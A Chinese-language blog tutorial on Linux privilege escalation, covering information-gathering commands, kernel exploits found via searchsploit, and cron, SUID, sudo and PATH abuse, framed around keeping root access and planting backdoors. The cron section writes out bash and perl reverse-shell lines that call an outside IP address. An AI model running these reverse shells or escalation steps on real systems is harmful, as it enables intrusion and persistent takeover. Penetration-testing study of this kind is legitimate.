linux提權(quán)是什么意思

提權(quán)指的是低權(quán)限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統(tǒng)權(quán)限;linux提權(quán)一般是指獲取root用戶權(quán)限的操作過程。Linux提權(quán)的本質(zhì)一方面是信息收集,另一方面是對內(nèi)核漏洞的掌握情況;提權(quán)是否成功的關(guān)鍵是信息收集是否完整。

linux提權(quán)是什么意思

本教程操作環(huán)境:linux7.3系統(tǒng)、Dell G3電腦。

linux提權(quán)概念介紹

提權(quán)是什么

提權(quán)指的是低權(quán)限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統(tǒng)權(quán)限。

詳細(xì)來說,就是指利用操作系統(tǒng)或應(yīng)用軟件中的程序漏洞、設(shè)計缺陷或配置疏忽來獲取對應(yīng)用程序或用戶來說受保護(hù)資源的高級訪問權(quán)限。其結(jié)果是,應(yīng)用程序可以獲取比應(yīng)用程序開發(fā)者或系統(tǒng)管理員預(yù)期的更高的特權(quán),從而可以執(zhí)行授權(quán)的動作。

Linux提權(quán)一般是指獲取root用戶權(quán)限的操作過程。

Linux提權(quán)目的

提權(quán)操作有風(fēng)險為什么還要進(jìn)行提權(quán)?什么情況下需要進(jìn)行提權(quán)?獲取高權(quán)限之后可以做什么?

通過命令執(zhí)行漏洞獲取的一個反彈shell或是通過Web漏洞獲取了一個Webshell后,一般情況下權(quán)限都較低。在執(zhí)行一些重要敏感的操作或是對重要的文件進(jìn)行修改時無法正常進(jìn)行,便需要進(jìn)行提權(quán)。Linux中安裝的數(shù)據(jù)庫、中間件等一般都不是以root用戶啟動的,通過數(shù)據(jù)庫或是中間件獲取到的權(quán)限是是低權(quán)限的。

獲取一個root權(quán)限是每一個黑客的夢想。

  • 讀取寫入服務(wù)器中的重要文件:
    • 修改root密碼
    • 替換系統(tǒng)命令
  • 在系統(tǒng)中放置更為隱蔽的后門:
    • ping后門
    • Rootkit
  • 保證服務(wù)器重啟之后權(quán)限仍在:
    • 內(nèi)存后門

Linux提權(quán)本質(zhì)

Linux提權(quán)的本質(zhì)一方面是信息收集,另一方面是對內(nèi)核漏洞的掌握情況。

Linux信息收集

任何提權(quán)的第一步操作一定是對操作系統(tǒng)進(jìn)行信息收集。提權(quán)是否成功的關(guān)鍵是信息收集是否完整。

  • 內(nèi)核設(shè)備信息:

    • uname -a ? ?打印所有可用的系統(tǒng)信息
    • uname -r ? ?內(nèi)核版本
    • uname -n ? ?系統(tǒng)主機名。
    • uname -m ? ?查看系統(tǒng)內(nèi)核架構(gòu)(64位/32位)
    • hostname ? ?系統(tǒng)主機名
    • cat /proc/version ? ?內(nèi)核信息
    • cat /etc/*-release ? 分發(fā)信息
    • cat /etc/issue ? ? ? 分發(fā)信息
    • cat /proc/cpuinfo ? ?CPU信息
  • 用戶和群組信息:

    • cat /etc/passwd ? ? 列出系統(tǒng)上的所有用戶
    • cat /etc/group ? ? ?列出系統(tǒng)上的所有組
    • grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ ?列出所有的超級用戶賬戶
    • whoami ? ? ? ? ? ? ?查看當(dāng)前用戶
    • w ? ? ? ? ? ? ? ? ? 誰目前已登錄,他們正在做什么
    • last ? ? ? ? ? ? ? ?最后登錄用戶的列表
    • lastlog ? ? ? ? ? ? 所有用戶上次登錄的信息
    • lastlog -u %username% ?有關(guān)指定用戶上次登錄的信息
    • lastlog |grep -v “Never” ?以前登錄用戶的信息
  • 用戶和權(quán)限信息:

    • whoami ? ? ? ?當(dāng)前用戶名
    • id ? ? ? ? ? ?當(dāng)前用戶信息
    • cat /etc/sudoers ?誰被允許以root身份執(zhí)行
    • sudo -l ? ? ? 當(dāng)前用戶可以以root身份執(zhí)行操作
  • 環(huán)境系統(tǒng)變量信息:

    • env ? ? ? ?顯示環(huán)境變量
    • set ? ? ? ?現(xiàn)實環(huán)境變量
    • echo %PATH 路徑信息
    • history ? ?顯示當(dāng)前用戶的歷史命令記錄
    • pwd ? ? ? ?輸出工作目錄
    • cat /etc/profile ? 顯示默認(rèn)系統(tǒng)變量
    • cat /etc/shells ? ?顯示可用的shell

內(nèi)核漏洞提權(quán)

內(nèi)核漏洞提權(quán)指的是普通用戶訪問操作系統(tǒng)內(nèi)核,利用內(nèi)核漏洞將權(quán)限提高為root權(quán)限,一般首先需要知曉操作系統(tǒng)的內(nèi)核,內(nèi)核的版本等信息,再尋找內(nèi)核漏洞的EXP進(jìn)行提權(quán)

linux常用查看系統(tǒng)信息命令  uname -a 查看系統(tǒng)全部信息 uname -r 查看內(nèi)核版本 cat /proc/version 查看內(nèi)核信息 cat /etc/*-realease 查看CentOS版本 cat /etc/issue 查看Ubuntu版本 cat /etc/redhat-release 查看RedHat版本 env 查看環(huán)境變量 echo $PATH 查看當(dāng)前環(huán)境變量 awk -F: '($3==0){print $1}' /etc/passwd 查找UID為0的用戶 find / -user root -perm -4000 -exec ls -ldb {} ;  查找設(shè)置了SUID的文件

例子:

1)查看系統(tǒng)的內(nèi)核版本

linux提權(quán)是什么意思

2)使用kali的searchsploit尋找對應(yīng)的內(nèi)核漏洞或網(wǎng)上尋找相應(yīng)的內(nèi)核漏洞

linux提權(quán)是什么意思

3)使用gcc將C語言程序編譯成可執(zhí)行文件,上傳至靶機,執(zhí)行即可提權(quán)至root權(quán)限

Linux其他提權(quán)方法

1、計劃任務(wù)提權(quán)

利用原理:

  • 當(dāng) /bin/sh指向/bin/dash的時候(ubuntu默認(rèn)這樣,當(dāng)前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c “bash -i ?>&/dev/tcp/106.13.124.93/2333 0>&1”
    這樣彈shell的時候不知道為什么很慢,耐心等等
  • */1 * * * * root perl -e ‘use Socket;(i=”106.13.124.93″;)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in((p,inet_aton()i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

2、利用SUID提權(quán)

  • SUID概念:SUID(設(shè)置用戶ID)是賦予文件的一種權(quán)限,它會出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會在其執(zhí)行時,使調(diào)用者暫時獲得該文件擁有者的權(quán)限。SUID可以讓調(diào)用者以文件擁有者的身份運行該文件,所以我們利用SUID提權(quán)的思路就是運行root用戶所擁有的SUID的文件,那么我們運行該文件的時候就得獲得root用戶的身份了。那么,為什么要給Linux二進(jìn)制文件設(shè)置這種權(quán)限呢?其實原因有很多,例如,程序ping需要root權(quán)限才能打開網(wǎng)絡(luò)套接字,但執(zhí)行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。

  • SUID提權(quán):什么是suid提權(quán)呢?一個文件,它有s標(biāo)志,并且他輸入root,那么我們運行這個程序就可以有了root的權(quán)限,并且這個程序還得能執(zhí)行命令,那么我們就能從普通用戶提升到了root權(quán)限了。

  • 在本地查找符合條件的文件。

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 常見的可以提權(quán)的程序

    • nmap vim find Bash More Less Nano cp netcat

3、利用SUDO提權(quán)

Linux系統(tǒng)中可以使用sudo執(zhí)行一個只有root才能執(zhí)行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出當(dāng)前用戶支持sudo的命令。

盡量從代碼層面進(jìn)行對漏洞的分析。

4、環(huán)境變量提權(quán)

  • 查看當(dāng)前環(huán)境變量:

    • echo $PATH

5、root權(quán)限運行的服務(wù)

  • 以root的運行的服務(wù),其中包括第三方軟件都可以進(jìn)行提權(quán)。

相關(guān)推薦:《Linux視頻教程

以上就是

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點贊8 分享